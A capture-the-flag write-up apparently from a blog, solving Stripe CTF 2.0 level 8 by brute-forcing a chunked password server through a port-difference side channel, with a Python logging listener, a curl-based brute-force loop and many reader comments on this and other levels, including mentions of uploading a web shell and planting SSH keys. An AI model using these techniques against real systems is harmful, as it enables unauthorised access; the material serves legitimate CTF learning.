To maximize adoption, usability is also a goal of PasswordDB. Hence a launcher script, password_db_launcher, has been created for the express purpose of securing the Flag. It validates that your password looks like a valid Flag and automatically spins up 4 chunk servers and a primary server.
You can obtain the code for PasswordDB from git clone https://level08-4.stripe-ctf.com/user-stsqneospz/level08-code, or simply read the source below.
The contents of password_db_launcher:
primary_server:
chunk_server:
common.py:
# the python endpoint server by AbiusX for Stripe CTF challenge 8
import string,cgi,time
from os import curdir, sep
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
class MyHandler(BaseHTTPRequestHandler):
index=0
lastport=None
suspicious=[]
def do_GET(self):
return
def do_POST(self):
global postVars
varLen = int(self.headers['Content-Length'])
postVars = self.rfile.read(varLen)
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
print self.client_address
host,port=self.client_address
self.wfile.write("POST OK\n");
self.wfile.write("Data: "+str(postVars));
if (self.lastport is not None):
portdiff=port-MyHandler.lastport
else:
portdiff=0
#if (self.index is None): self.index=0;
with open("log.txt","a") as myfile:
myfile.write(str(self.index)+" ("+str(portdiff)+") "+str(postVars)+"\n");
if (portdiff!=3): #the number here depends on the chunk
MyHandler.suspicious.append(MyHandler.index);
MyHandler.index+=1;
MyHandler.lastport=port
return
def main():
try:
server = HTTPServer(('', 8010), MyHandler)
print 'started httpserver...'
server.serve_forever()
except KeyboardInterrupt:
print '^C received, shutting down server'
print "Suspicious list:\n"
print MyHandler.suspicious
server.socket.close()
if __name__ == '__main__':
main()
What it does is it gets a request and stores the incoming address and port and all the request data in a log file. As a matter of fact, it doesn’t store the actual port numbers, but the difference between the new port number and the last port number. It also stored an continues index number at start of each line on the log file.
I provide this as the endpoint, level02-3.stripe-ctf.com:8010, which the Python web server described above. The reason for storing port differences is what solves this problem.
The Idea
The application on this challenge, makes one more network connections if a chunk is valid, in par with when it is not. For example consider we provide a password where first chunk is invalid, it sends this chunk to first chunk server and gets a failure. Now if it is valid, it is sent to the chunk server and result is true, so the next chunk is sent to the next chunk server, hence one extra network connection.
Now using a brute-force algorithm we can find first chunk by sending 000000000000 up to 999000000000 respectively to the server, and then viewing the log file of our server to see which one has one different port increment than the other ones. Since there are indexes on the log file, we could then link them back to our original numbers.
This could be repeated for the 2nd and 3rd chunk, and for the 4th we just have to brute force for the actual True result.
Unfortunately, there is a lot more network activity on the server and there are many indexes with larger than usual port uses, so we’re gonna run this brute-force a few times for each chunk until we have only one candidate. The suspicious array in the server is used for that, it stores all the indices that have more than default (2,3,4) port connections, then outputs them, so that we can brute-force again only using those values.
Every time we run this brute force, values are reduced until there’s only one left. This whole process took almost 1 hours for me. Here’s the brute-force code:
import os
url="https://level08-4.stripe-ctf.com/user-stsqneospz/"
webhook='level02-3.stripe-ctf.com:8010'
for passsection in xrange(0,1000):
password='165774000%s'%str(passsection)
data='{"webhooks":["%s"],"password":"%s"}'%(webhook,password);
command="curl '%s' -d '%s'"%(url,data);
print command
res=os.system(command);
print res;
I hope you had fun reading through this post.
Stripe CTF 2 - Web Challenges,
Related Posts
Tags: Challenge, Cryptography, CSRF, CTF, education, hacking, hash Extension, Hash Length Extension, network, PHP, Port Scanning, Python, Ruby, security, SQL Injection, Stripe, Stripe CTF, Stripe CTF 2.0, Stripe CTF 2.0 challenges and solutions, Stripe CTF Solutions, Stripe CTF Web Solutions, Stripe Solutions, Stripe web CTF, Stripe Web CTF Challenges, UNION Bypassing, XSS
Trackback from your site.



Comments (76)
Kate
| #
Hi AbiusX,
what has to be changed in the code in Challenge 0 to be able to do SQL injection? I understand now it is not possible because of the prepared statement.
Kate
Reply
AbiusX
| #
Well Kate you don’t have to do SQL Injection in this challenge, just use the wildcard character as your namespace input! Easy as a pie.
Reply
hmm
| #
Could you please elaborate on your solution to problem 7? I don’t quite know how you got your final program as using your program (with the correct user) does not validate the signature. I think I’m executing the attack wrong.
Reply
AbiusX
| #
Reply
Jake
| #
Hey AbiiusX,
I’m attempting to solve level 8. I have the code on the lvl2 server. (I’ve run it locally with perfect results)
After running multiple times I can still not identify where the key has been cracked for the first chunk.
Any suggestions?
Reply
AbiusX
| #
Hi Jake,
You have to first dry run the script, see what is the most common port difference number (I think it was 3 or 4 for first chunk, and one more for each consecutive chunk). Then rule out all the results with that number (they are definitely not the password).
Then out of the remaining numbers, run it again to rule some more out.
Continue doing this and you’ll be left with a couple numbers. Then try them out like a hundred times each to make sure which one is the exact answer.
Then proceed to next chunk.
Reply
Jake
| #
Thanks,
I shall give that a go.
Reply
Jake
| #
Every time I run it though it appends to the log.txt, thus not really eliminating them.
Ex. I ran it checking for 3, it did 0-999 for the first chunk. I then removed anything from the log with (3) but you say run it again. Won’t it just append another 0-999 to the log.txt file? Or am I missing a step here.
Reply
AbiusX
| #
Ctrl+C the webserver script, it gives u a list of indexes that didnt match the number (the suspicious array), then clear the log and run bruteforce again, but instead of in xrange(0,1000) use in suspicious_array.
Reply
Jake
| #
Sorry to be a pain with questions but every time I end the server after the brute finishes; the suspicious_array contains all indices [0, ... , 998] (Example http://pastebin.com/d3TfGdbn)
Here is a pastebin of your code. I believe i have the indentation correct:
http://pastebin.com/4KPy0gNN
I appreciate your patience with my stupid questions!
Reply
AbiusX
| #
Well there’s an if statement in the code, comparing it to the usual amount. You have to first dry run the brute force, observe the results with your eyes, figure out the most common number and put it in the server’s code.
Then it can list them for you.
Reply
genix
| #
What exactly you mean by givin a dry run and evaluting the result
Reply
Jake
| #
This is my last question I promise.
So then I reran the server but set portdiff!=3 which is saying this could be the key, append the index into the suspicious array.
However when I Ctrl^C and look at the array, it includes everything still.
Reply
AbiusX
| #
It Okay pal, I’m here for you.
Well you did the indentation wrong, only one line is in that If statement. Index increment and port calculation should be done in all iterations.
Reply
Jake
| #
http://pastebin.com/CxgUPUY0
Reply
Jake
| #
Damn you respond fast haha. Yeah I couldn’t tell cause of how your website posted the code.
Reply
AbiusX
| #
I fixed the indentations in the original post code. You can safely copy-paste now.
Reply
Jake
| #
I guess I lied when I said I wouldn’t ask for any more help haha.
So now with the indentation everything works perfectly.
For me, chunk 1 used the portdiff 2 so I make sure to set portdiff!=2
The index slowly decreases however I’ve noticed an issue.
Example, Lets say I get this from the server on my first run
[0, 15, 16, 17, 22, 40, 41, 50, 101, 109, 111, 822, 891, 964]Example:
[109, 822, 964]in the brute will look like[0, 1, 2]in the server thus losing tract.How did you get around that?
Reply
Jake
| #
^ Ignore that comment and just read it here. It keeps cutting parts out:
http://pastebin.com/H6Xx2df0
Reply
AbiusX
| #
It came here alright.
What you wanna do is, you have the indexes to an array, and you want values. You can loop through it and extract indexes, or you could use the following code, providing indexes with indexes you’ve got and values with the last round values (the values are should be larger):
def index2value(indexes,values):
for i in indexes: yield values[i]
Reply
CTFNoob
| #
Hi AbiusX, thanks for your well documented journey of completing the CTF!
I do however, have a question about Level 7. I’m very confused how I am supposed to generate the signature of user number 1. I have read your solution multiple times and am still confused.
Reply
CTFNoob
| #
I managed to figure 7 out, but I’m a bit confused about where I store my SSH key (level 8). I’ve already uploaded Jackal shell.
Reply
AbiusX
| #
Well in your user’s folder/.ssh/authorized_keys file! Google around and you’ll know.
Reply
CTFNoob
| #
Oops, small mistake on my part! When I run your bruteforcer though, I get curl: (1) Protocol ‘http not supported or disabled in libcurl
Is there something I need on my client?
Reply
AbiusX
| #
Hi,
It uses CURL on your command line, so you should have curl on your command line!
On ubuntu just sudo apt-get install curl
Reply
hmm
| #
Abius is using different characters for ‘ and ” that curl trips up on. Change all the ” and ’ quotes to ASCII and it should run fine.
Reply
AbiusX
| #
Actually WordPress does that!
Reply
CTFNoob
| #
Hmm, can’t reply to your reply. Anyways, I am able to use curl in command line, I tried doing curl http://yahoo.com and curl https://yahoo.com all with success. I noticed the script imports OS which should mean it would work if curl works in command line.
Reply
AbiusX
| #
Which script u mean exactly?
Reply
CTFNoob
| #
Reply
AbiusX
| #
WordPress changes apostrophes to another more beautiful character sometimes. Just remove apostrophes and quotes and replace them.
Reply
CTFNoob
| #
I have put the code on pastebin.org here:
http://pastebin.com/e6gJMCgG
The error while executing is at the top.
Reply
AbiusX
| #
You haven’t replaced all double and single quotes. WordPress tends to change them.
Reply
CTFNoob
| #
I just tried handtyping the whole thing in notepad, still same issue. Earlier I’ve tried going through the copy/pasted script and changing each single quote/double quote in order, and I’ve also tried using replace all (Ctrl + H)
Reply
AbiusX
| #
Odd, what’s your operating system? Could you email me a log of your terminal?
Reply
CTFNoob
| #
I’m using Windows 7…what should I type in command line?
Reply
AbiusX
| #
OMG you gotta use a POSIX box for that to work! SSH to server2 and run it there.
Reply
CTFNoob
| #
Oh…silly me. How long did yours take? Mine is doing like…1 request per 2 seconds…oh gosh haha
Reply
AbiusX
| #
Cause you’re doing it from your personal computer instead of running it on a server (preferably level02 server)
Reply
CTFNoob
| #
I’m actually running it on level2 server, same for port 8010 and 8011, etc
Reply
AbiusX
| #
Then there’s nothing you can do. Probably overloaded and highly crowded.
Reply
AbiusX
| #
What do you mean user number 1? You have to use the code I provided in the comments to generate hash extension signature.
Reply
hmm
| #
He just forgot to mention that the request and hash he uses is from the /logs/ view. Guess which ID you put after logs to get the proper request and hash that you have to attack.
Reply
Grateful
| #
Hey AbiusX,
Great post. Just wanted to let you (and anyone else check this out) know you might bump into trouble using “\r”s in Challenge 5, but using “\n”s seemed to work for me.
Reply
AbiusX
| #
Yeah you might be right but I used %0A on my own progress to nail it, which I think equals to \r.
Reply
genix
| #
i tried using ur code and getting all most all the values in the suspicious list that too its for the first chunk ! ne idea how go around it .
Reply
hmm
| #
Hello again, Abius,
What did you mean by “which one has one different port increment than the other ones.”? Can you give some numbers as an example?
Reply
AbiusX
| #
Yeah for me the first chunk would give me 3 for invalid numbers and 4 (and above) for valid number and jitter.
Reply
Brad
| #
Hi, how to make sure the first chunk is right? I mean when to stop brute forcing for the first chunk?
Reply
AbiusX
| #
Just when you found your candidate, run it like 100 times and make sure it never gets a value equal to the normal ones.
Reply
seveni
| #
I dont know how u computed the sig for user 1 on 7… What do i do
Reply
AbiusX
| #
This is cryptography pal, you have to read and use your mind. You have to understand what’s going on. There’s no shortcut.
Reply
vk
| #
I think seveni has a point. Right above you write “Why wouldn’t I just replace them?” you show a request that looks like “…user_id=5…user_id=1…” and then right below it you have a request without “user_id=5″, so in fact it looks like you have changed it.
Furthermore in your explanation above you assume that “…we had C=SHA1(A)…” but then you do not make clear how you obtain a valid signature for user_id 1 but for the wrong waffle.
Please elaborate.
Reply
AbiusX
| #
Well you’re right I didn’t put the cryptographic details here. Its for the reader to search and read.
The one with user_id=5 is my log of actions. The one with user_id=1 is the one we’re trying to forge.
Reply
Brad
| #
Thanks!!
Reply
seven
| #
My port differences are all different. Like ~100-400.
Reply
AbiusX
| #
Read through the theory more thoroughly. Other network connections consume ports as well. You have to use a brute-force script to reduce that effect on your tries.
Reply
ruu1989
| #
I had wildly different ports, until I realised that it was counting more than MY requests. I added
if “10.0.2.5″ in self.client_address:
But it’s still giving my massively different port differences, ranging from ~20 ports to ~340 ports.
Reply
AbiusX
| #
It happens cuz the servers are overcrowded now. You can just rule out the one’s that “ARE NOT RIGHT” and keep doing it until the list is short enough.
Reply
CLod
| #
level 4 is a XSS, not CSRF
Reply
AbiusX
| #
One way to do a CSRF is via XSS, but it’s actually a CSRF and the XSS you do is just the means to it.
Reply
anonymous
| #
It’s a shame that you publish this before end of the game
Reply
AbiusX
| #
You’re right but actually it was just hints before the end. I edited the post and completed the solutions last night.
Reply
blogger
| #
Hi, I was trying level07 FAQ , but I seems like I cant understand how did you computer 5fe73d0cbd3b4e82f9b87970041851d232e757cd
inthe python programme given at the final script !!
Reply
AbiusX
| #
It’s not a copy paste. You have the understand the concept and apply it. With your description you’ve got it wrong.
Reply
TopSecretBear
| #
Reply
AbiusX
| #
Same answer given to blogger.
Reply
TopSecretBear
| #
But when i calculate : “sha1(my secret + datas without “|sig:…..”)” and i try it send with php to the server nothing happens where i do a mistake ? Thank’s for ur time …
Reply
AbiusX
| #
What do you mean nothing happens? Like no response from the server? That shouldn’t happen.
Reply
TopSecretBear
| #
Sorry for my stupiding question but how to copy the public key into “authorized_keys” i don’ŧ seen an .ssh folder in shell …
Reply
AbiusX
| #
You have to create the .ssh folder. I don’t think that with crowded servers of now 4 hours will do for you. Good Luck next time.
Reply
TopSecretBear
| #
Reply
Anonymous
| #
What’s the reason for ’165774000′ before the ‘passsection’ in your final solution’s brute forcer?
Reply
prada bags
| #
Quality articles is the secret to be a focus for the users to go
to see the website, that’s what this web page is providing.
Reply
TMT
| #
good job bro , perfect
Reply
Chang
| #
Thanks to my father who stated to me regarding this
website, this blog is genuinely remarkable.
Reply